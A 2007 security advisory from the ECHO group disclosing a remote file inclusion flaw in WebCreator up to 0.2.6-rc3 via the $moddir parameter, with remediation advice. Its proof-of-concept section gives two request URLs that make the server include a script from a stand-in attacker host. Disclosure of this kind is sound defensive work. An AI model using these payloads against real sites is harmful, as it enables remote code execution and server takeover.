____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_74$2007 ------------------------------------------------------------------------------------- [ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability -------------------------------------- ---------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : March, 13th 2007 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv74-theday-2007.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : WebCreator version : <= 0.2.6-rc3 URL : http://webcreator.innoxia.cz/ --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~ - Invalid include_once function at mods/content/load.inc.php -----------------------mods/content/load.inc.php------------ ---------------------------------------------------------- Input passed to the "$moddir" parameter in load.inc.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. also affected files : config/load.inc.php http/load.inc.php and More .... Proof Of Concept: ~~~~~~~~~~~~~ http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt? http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt? Solution: ~~~~~ - Sanitize variable $moddir affected files. - Turn off register_globals --------------------------------------------------------------------------- Shoutz: ~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy Nice Girl ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker@yahoogroups.com ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~ EcHo Research & Development Center http://advisories.echo.or.id erdc[at]echo[dot]or[dot]id the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------